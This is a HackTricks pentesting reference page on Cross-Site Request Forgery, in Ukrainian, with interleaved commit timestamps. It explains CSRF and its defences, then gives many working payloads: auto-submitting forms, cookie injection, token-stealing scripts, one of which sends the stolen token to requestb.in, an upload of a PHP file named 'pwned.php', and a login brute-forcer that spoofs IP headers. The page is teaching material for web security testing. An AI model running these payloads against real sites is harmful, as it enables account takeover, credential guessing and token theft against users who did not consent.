hacktricks/pentesting-web/csrf-cross-site-request-forgery.md

614 lines
34 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# CSRF (Cross Site Request Forgery)
2022-04-28 16:01:33 +00:00
<details>
2024-03-29 18:49:46 +00:00
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-03-29 18:49:46 +00:00
Інші способи підтримки HackTricks:
2023-12-31 01:25:17 +00:00
2024-03-29 18:49:46 +00:00
* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
2024-03-29 18:49:46 +00:00
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), щоб спілкуватися з досвідченими хакерами та мисливцями за багами!
2023-02-27 09:28:45 +00:00
2024-03-29 18:49:46 +00:00
**Інсайти щодо хакінгу**\
Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу
2023-02-27 09:28:45 +00:00
2024-03-29 18:49:46 +00:00
**Новини про хакінг у реальному часі**\
Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі
2023-07-14 15:03:41 +00:00
2024-03-29 18:49:46 +00:00
**Останні оголошення**\
Будьте в курсі нових баг-баунті, які запускаються, та важливих оновлень платформи
2023-07-14 15:03:41 +00:00
2024-03-29 18:49:46 +00:00
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) та почніть співпрацювати з найкращими хакерами вже сьогодні!
2022-10-27 23:22:18 +00:00
2024-03-29 18:49:46 +00:00
## Пояснення Cross-Site Request Forgery (CSRF)
2024-03-29 18:49:46 +00:00
**Cross-Site Request Forgery (CSRF)** - це тип уразливості безпеки, яку можна знайти в веб-додатках. Вона дозволяє зловмисникам виконувати дії від імені недопущених користувачів, використовуючи їх аутентифіковані сесії. Атака виконується, коли користувач, який увійшов до облікового запису жертви, відвідує зловмисний сайт. Цей сайт потім викликає запити до облікового запису жертви за допомогою методів, таких як виконання JavaScript, надсилання форм або отримання зображень.
2024-03-29 18:49:46 +00:00
### Передумови для атаки CSRF
2024-03-29 18:49:46 +00:00
Для використання уразливості CSRF необхідно виконати кілька умов:
2024-03-29 18:49:46 +00:00
1. **Визначення цінної дії**: Зловмиснику потрібно знайти дію, яку варто використовувати, наприклад, зміну пароля користувача, електронної пошти або підвищення привілеїв.
2. **Управління сесією**: Сесію користувача повинно керуватися виключно за допомогою куків або заголовка HTTP Basic Authentication, оскільки інші заголовки не можуть бути змінені для цієї мети.
3. **Відсутність непередбачуваних параметрів**: Запит не повинен містити непередбачувані параметри, оскільки вони можуть запобігти атаки.
2024-03-29 18:49:46 +00:00
### Швидка перевірка
2024-03-29 18:49:46 +00:00
Ви можете **захопити запит в Burp** та перевірити захист від CSRF, а також випробувати з браузера, натиснувши на **Копіювати як fetch** та перевірити запит:
<figure><img src="../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
2024-03-29 18:49:46 +00:00
### Захист від CSRF
2024-03-29 18:49:46 +00:00
Для захисту від атак CSRF можна впровадити кілька протиправних заходів:
2024-03-29 18:49:46 +00:00
* [**Куки з однаковим сайтом**](hacking-with-cookies/#samesite): Ця атрибут запобігає браузеру відправляти куки разом із запитами з інших сайтів. [Докладніше про куки з однаковим сайтом](hacking-with-cookies/#samesite).
* [**Спільний доступ до ресурсів між джерелами**](cors-bypass.md): Політика CORS на сайті жертви може впливати на можливість атаки, особливо якщо для атаки потрібно прочитати відповідь від сайту жертви. [Дізнайтеся про обхід CORS](cors-bypass.md).
* **Перевірка користувача**: Запит на введення пароля користувача або вирішення капчі може підтвердити намір користувача.
* **Перевірка заголовків Referrer або Origin**: Перевірка цих заголовків може допомогти забезпечити, що запити надходять з надійних джерел. Однак ретельне створення URL-адрес може обійти погано реалізовані перевірки, наприклад:
* Використання `http://mal.net?orig=http://example.com` (URL закінчується на довірений URL)
* Використання `http://example.com.mal.net` (URL починається з довіреного URL)
* **Зміна назв параметрів**: Зміна назв параметрів у запитах POST або GET може допомогти у запобіганні автоматизованих атак.
* **Маркери CSRF**: Включення унікального маркера CSRF в кожну сесію та вимога цього маркера у наступних запитах може значно зменшити ризик CSRF. Ефективність маркера можна підвищити, вимагаючи CORS.
2024-03-29 18:49:46 +00:00
Розуміння та впровадження цих захистів є важливим для забезпечення безпеки та цілісності веб-додатків.
2024-03-29 18:49:46 +00:00
## Обхід захисту
2024-03-29 18:49:46 +00:00
### Від POST до GET
2024-03-29 18:49:46 +00:00
Можливо, форма, яку ви хочете використовувати, підготовлена для відправлення **POST-запиту з маркером CSRF**, проте вам слід **перевірити**, чи **дійсний GET** і чи при відправленні GET-запиту **маркер CSRF все ще перевіряється**.
2024-03-29 18:49:46 +00:00
### Відсутність маркера
2024-03-29 18:49:46 +00:00
Додатки можуть використовувати механізм для **перевірки маркерів**, коли вони присутні. Однак вразливість виникає, якщо перевірка пропускається, коли маркер відсутній. Зловмисники можуть використовувати це, **видаливши параметр**, який містить маркер, а не лише його значення. Це дозволяє їм обійти процес перевірки та ефективно виконати атаку Cross-Site Request Forgery (CSRF).
2024-03-29 18:49:46 +00:00
### Маркер CSRF не пов'язаний з сесією користувача
2024-03-29 18:49:46 +00:00
Додатки, які **не пов'язують маркери CSRF з сесіями користувачів**, створюють значний **ризик безпеки**. Ці системи перевіряють маркери проти **загального пулу**, а не забезпечують, що кожен маркер прив'язаний до початкової сесії.
2024-02-05 20:00:40 +00:00
2024-03-29 18:49:46 +00:00
Ось як зловмисники використовують це:
2024-02-05 20:00:40 +00:00
2024-03-29 18:49:46 +00:00
1. **Аутентифікуйтеся** за допомогою власного облікового запису.
2. **Отримайте дійсний маркер CSRF** з загального пулу.
3. **Використовуйте цей маркер** у атаку CSRF проти жертви.
2024-02-05 20:00:40 +00:00
2024-03-29 18:49:46 +00:00
Ця вразливість дозволяє зловмисникам робити несанкціоновані запити від імені жертви, використовуючи **недостатній механізм перевірки маркерів додатка**.
2024-03-29 18:49:46 +00:00
### Обхід методу
2024-03-29 18:49:46 +00:00
Якщо запит використовує "**дивний**" **метод**, перевірте, чи працює **функціональність перевизначення методу**. Наприклад, якщо він **використовує метод PUT**, ви можете спробувати **використати метод POST** та **відправити**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
2024-03-29 18:49:46 +00:00
Це також може працювати, відправляючи **параметр \_method всередині POST-запиту** або використовуючи **заголовки**:
* _X-HTTP-Method_
* _X-HTTP-Method-Override_
* _X-Method-Override_
2024-03-29 18:49:46 +00:00
### Обхід маркера власного заголовка
2024-03-29 18:49:46 +00:00
Якщо запит додає **власний заголовок** з **маркером** до запиту як **захист від CSRF**, тоді:
2024-03-29 18:49:46 +00:00
* Протестируйте запит без **власного маркера та також заголовка**.
* Протестируйте запит з точно **такою ж довжиною, але іншим маркером**.
2024-03-29 18:49:46 +00:00
### Перевірка маркера CSRF за допомогою куки
2024-03-29 18:49:46 +00:00
Додатки можуть впроваджувати захист від CSRF, дублюючи маркер як у куці, так і в параметрі запиту або встановлюючи куку CSRF та перевіряючи, чи маркер, відправлений на сервер, відповідає значенню в куці. Додаток перевіряє запити, перевіряючи, чи маркер у параметрі запиту відповідає значенню в куці.
2024-03-29 18:49:46 +00:00
Однак цей метод вразливий до атак CSRF, якщо на веб-сайті є дефекти, які дозволяють зловмиснику встановити куку CSRF в браузері жертви, наприклад, вразливість CRLF. Зловмисник може використовувати це, завантажуючи обманливе зображення, яке встановлює куку, а потім ініціюючи атаку CSRF.
2021-11-30 16:46:07 +00:00
2024-03-29 18:49:46 +00:00
Нижче наведено приклад того, як може бути структурована атака:
2021-11-30 16:46:07 +00:00
```html
<html>
2024-03-29 18:49:46 +00:00
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
2021-11-30 16:46:07 +00:00
</html>
2024-02-05 20:00:40 +00:00
2021-11-30 16:46:07 +00:00
```
{% hint style="info" %}
2024-03-29 18:49:46 +00:00
Зверніть увагу, що якщо **токен csrf пов'язаний з сесійним cookie**, цей атака не працюватиме, оскільки вам потрібно буде встановити жертві вашу сесію, і, отже, ви будете атакувати себе.
2021-11-30 16:46:07 +00:00
{% endhint %}
2024-03-29 18:49:46 +00:00
### Зміна Content-Type
2020-08-10 09:56:57 +00:00
2024-03-29 18:49:46 +00:00
Згідно з [**цим**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), для **уникнення попередніх запитів** за допомогою методу **POST** дозволені наступні значення Content-Type:
* **`application/x-www-form-urlencoded`**
* **`multipart/form-data`**
* **`text/plain`**
2024-03-29 18:49:46 +00:00
Проте, слід зауважити, що **логіка сервера може відрізнятися** в залежності від використаного Content-Type, тому варто спробувати зазначені значення та інші, такі як **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
2022-04-22 08:32:18 +00:00
2024-03-29 18:49:46 +00:00
Приклад (з [тут](https://brycec.me/posts/corctf\_2021\_challenges)) відправлення даних JSON як text/plain:
2022-04-22 08:32:18 +00:00
```html
<html>
2024-03-29 18:49:46 +00:00
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
2022-04-22 08:32:18 +00:00
</html>
```
2024-03-29 18:49:46 +00:00
### Обхід запитів на попередню перевірку для даних JSON
2022-04-22 08:32:18 +00:00
2024-03-29 18:49:46 +00:00
При спробі надіслати дані JSON через запит POST, використання `Content-Type: application/json` в HTML-формі не є безпосередньо можливим. Так само, використання `XMLHttpRequest` для надсилання цього типу вмісту ініціює запит на попередню перевірку. Тем не менш, існують стратегії, які потенційно дозволяють обійти це обмеження та перевірити, чи обробляє сервер дані JSON незалежно від Content-Type:
2024-03-29 18:49:46 +00:00
1. **Використання альтернативних типів вмісту**: Використовуйте `Content-Type: text/plain` або `Content-Type: application/x-www-form-urlencoded`, встановивши `enctype="text/plain"` у формі. Цей підхід перевіряє, чи використовує сервер дані незалежно від Content-Type.
2. **Зміна типу вмісту**: Щоб уникнути запиту на попередню перевірку, забезпечуючи визнання сервером вмісту як JSON, ви можете надіслати дані з `Content-Type: text/plain; application/json`. Це не викликає запит на попередню перевірку, але може бути правильно оброблено сервером, якщо він налаштований на прийом `application/json`.
3. **Використання файлу SWF Flash**: Менш поширений, але можливий метод включає використання файлу SWF Flash для обходу таких обмежень. Для глибшого розуміння цієї техніки див. [цей пост](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
2024-03-29 18:49:46 +00:00
### Обхід перевірки Referrer / Origin
2024-03-29 18:49:46 +00:00
**Уникайте заголовка Referrer**
2024-03-29 18:49:46 +00:00
Додатки можуть перевіряти заголовок 'Referer' лише тоді, коли він присутній. Щоб запобігти відправці цього заголовка браузером, можна використовувати наступний HTML мета-тег:
2024-02-05 20:00:40 +00:00
```xml
<meta name="referrer" content="never">
```
2024-03-29 18:49:46 +00:00
Це забезпечує відсутність заголовка 'Referer', що потенційно дозволяє обійти перевірку в деяких додатках.
2024-03-29 18:49:46 +00:00
**Обхід регулярних виразів**
2022-02-13 12:30:13 +00:00
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}
2024-03-29 18:49:46 +00:00
Для встановлення доменного імені сервера в URL, який Referrer буде відправляти в параметрах, можна використовувати:
2021-11-30 16:46:07 +00:00
```html
<html>
2024-03-29 18:49:46 +00:00
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
2021-11-30 16:46:07 +00:00
</html>
```
2024-03-29 18:49:46 +00:00
### **Обхід методу HEAD**
2021-11-30 16:46:07 +00:00
2024-03-29 18:49:46 +00:00
Перша частина [**цього опису CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) пояснює, що [вихідний код Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), маршрутизатор встановлений для **обробки запитів HEAD як запитів GET** без тіла відповіді - загальний обхід, який не є унікальним для Oak. Замість конкретного обробника, який працює з HEAD-запитами, вони просто **передаються обробнику GET, але додаток просто видаляє тіло відповіді**.
2023-02-27 09:28:45 +00:00
2024-03-29 18:49:46 +00:00
Отже, якщо запит GET обмежений, ви можете просто **надіслати запит HEAD, який буде оброблений як запит GET**.
2022-10-27 23:22:18 +00:00
2024-03-29 18:49:46 +00:00
## **Приклади використання**
2024-03-29 18:49:46 +00:00
### **Витік CSRF-токену**
2024-03-29 18:49:46 +00:00
Якщо використовується **CSRF-токен** як **захист**, ви можете спробувати **витягнути його** зловживаючи [**уразливістю XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) або [**вразливістю Dangling Markup**](dangling-markup-html-scriptless-injection/).
2024-03-29 18:49:46 +00:00
### **GET за допомогою HTML-тегів**
2024-02-05 20:00:40 +00:00
```xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```
2024-03-29 18:49:46 +00:00
Інші теги HTML5, які можна використовувати для автоматичного відправлення GET-запиту:
2024-02-05 20:00:40 +00:00
```html
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="">
<embed src="...">
<audio src="...">
<video src="...">
<source src="..." type="...">
<video poster="...">
<link rel="stylesheet" href="...">
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
2024-03-29 18:49:46 +00:00
body { background: url('...'); }
2024-02-05 20:00:40 +00:00
</style>
<bgsound src="...">
<track src="..." kind="subtitles">
<input type="image" src="..." alt="Submit Button">
```
2024-03-29 18:49:46 +00:00
### Запит форми GET
2024-02-05 20:00:40 +00:00
```html
<html>
2024-03-29 18:49:46 +00:00
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
2024-03-29 18:49:46 +00:00
### POST-запит форми
2024-02-05 20:00:40 +00:00
```html
<html>
2024-03-29 18:49:46 +00:00
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>
2021-06-04 23:20:57 +00:00
```
2024-03-29 18:49:46 +00:00
### Відправка запиту POST форми через iframe
2024-02-05 20:00:40 +00:00
```html
2024-03-29 18:49:46 +00:00
<!--
The request is sent through the iframe withuot reloading the page
2021-06-04 23:20:57 +00:00
-->
<html>
2024-03-29 18:49:46 +00:00
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
2021-06-04 23:20:57 +00:00
</html>
```
2024-03-29 18:49:46 +00:00
### **Ajax POST запит**
2024-02-05 20:00:40 +00:00
```html
<script>
var xh;
if (window.XMLHttpRequest)
2024-03-29 18:49:46 +00:00
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
2024-03-29 18:49:46 +00:00
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
2021-06-05 01:10:15 +00:00
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>
2021-06-05 01:10:15 +00:00
<script>
//JQuery version
$.ajax({
2024-03-29 18:49:46 +00:00
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
2021-06-05 01:10:15 +00:00
})
</script>
```
2024-03-29 18:49:46 +00:00
### multipart/form-data POST запит
```javascript
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
2024-03-29 18:49:46 +00:00
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
```
2024-03-29 18:49:46 +00:00
### multipart/form-data POST запит v2
```javascript
2024-02-05 20:00:40 +00:00
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
2021-06-05 01:10:15 +00:00
xhr.withCredentials = true;
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
```
2024-03-29 18:49:46 +00:00
### Відправка запиту POST форми зсередини iframe
2024-02-05 20:00:40 +00:00
```html
<--! expl.html -->
<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
```
2024-03-29 18:49:46 +00:00
### **Викрадення токена CSRF та відправлення POST-запиту**
```javascript
function submitFormWithTokenJS(token) {
2024-03-29 18:49:46 +00:00
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
2024-03-29 18:49:46 +00:00
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
2024-03-29 18:49:46 +00:00
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
2024-03-29 18:49:46 +00:00
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
2024-03-29 18:49:46 +00:00
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
```
2024-03-29 18:49:46 +00:00
### **Викрадення CSRF-токену та відправлення запиту POST за допомогою iframe, форми та Ajax**
2024-02-05 20:00:40 +00:00
```html
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1(){
2024-03-29 18:49:46 +00:00
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;
document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
2024-03-29 18:49:46 +00:00
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
```
2024-03-29 18:49:46 +00:00
### **Викрадення CSRF-токену та відправлення POST-запиту за допомогою iframe та форми**
2024-02-05 20:00:40 +00:00
```html
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
2024-03-29 18:49:46 +00:00
<script>
function read()
{
2024-03-29 18:49:46 +00:00
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>
```
2024-03-29 18:49:46 +00:00
### **Вкрасти токен і відправити його за допомогою 2 іфреймів**
2024-02-05 20:00:40 +00:00
```html
<script>
var token;
function readframe1(){
2024-03-29 18:49:46 +00:00
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
2024-03-29 18:49:46 +00:00
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
2024-03-29 18:49:46 +00:00
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
2024-03-29 18:49:46 +00:00
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
2024-03-29 18:49:46 +00:00
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
```
2024-03-29 18:49:46 +00:00
### **POSTВикрадення токена CSRF за допомогою Ajax та відправлення запиту post за допомогою форми**
2024-02-05 20:00:40 +00:00
```html
<body onload="getData()">
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
2024-03-29 18:49:46 +00:00
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>
<script>
var x = new XMLHttpRequest();
function getData() {
2024-03-29 18:49:46 +00:00
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
2024-03-29 18:49:46 +00:00
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>
```
2024-03-29 18:49:46 +00:00
### CSRF з Socket.IO
2024-02-05 20:00:40 +00:00
```html
2020-08-06 20:38:54 +00:00
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');
const username = 'admin'
socket.on('connect', () => {
2024-03-29 18:49:46 +00:00
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})
2020-08-06 20:38:54 +00:00
});
</script>
```
2024-03-29 18:49:46 +00:00
## CSRF Брутфорс логіна
2020-08-06 20:38:54 +00:00
2024-03-29 18:49:46 +00:00
Код може бути використаний для Brut Force форми входу за допомогою токена CSRF (Також використовує заголовок X-Forwarded-For для спроби обійти можливе чорніння IP):
2020-11-06 18:22:38 +00:00
```python
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
2024-03-29 18:49:46 +00:00
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
2020-11-06 18:22:38 +00:00
def login(user, password):
2024-03-29 18:49:46 +00:00
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
2020-11-06 18:22:38 +00:00
with open(PASS_LIST, "r") as f:
2024-03-29 18:49:46 +00:00
for line in f:
login(USER, line.strip())
2020-11-06 18:22:38 +00:00
```
2024-03-29 18:49:46 +00:00
## Інструменти <a href="#tools" id="tools"></a>
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
2022-09-26 09:52:47 +00:00
* [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
2024-03-29 18:49:46 +00:00
## Посилання
* [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
2024-02-05 20:00:40 +00:00
* [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
* [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
2022-04-28 16:01:33 +00:00
2022-10-27 23:22:18 +00:00
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-07-14 15:03:41 +00:00
2024-03-29 18:49:46 +00:00
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), щоб спілкуватися з досвідченими хакерами та мисливцями за багами!
2023-02-27 09:28:45 +00:00
2024-03-29 18:49:46 +00:00
**Інсайти щодо Хакінгу**\
Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу
2022-10-27 23:22:18 +00:00
2024-03-29 18:49:46 +00:00
**Новини про Хакінг у Реальному Часі**\
Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі
2023-02-27 09:28:45 +00:00
2024-03-29 18:49:46 +00:00
**Останні Оголошення**\
Будьте в курсі найновіших баг-баунті, які запускаються, та важливих оновлень платформи
2023-02-27 09:28:45 +00:00
2024-03-29 18:49:46 +00:00
Приєднуйтесь до нас на [**Discord**](https://discord.com/invite/N3FrSbmwdy) та почніть співпрацювати з топовими хакерами вже сьогодні!
2022-10-27 23:22:18 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-03-29 18:49:46 +00:00
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-03-29 18:49:46 +00:00
Інші способи підтримки HackTricks:
2023-12-31 01:25:17 +00:00
2024-03-29 18:49:46 +00:00
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у PDF-форматі**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний мерч PEASS & HackTricks**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
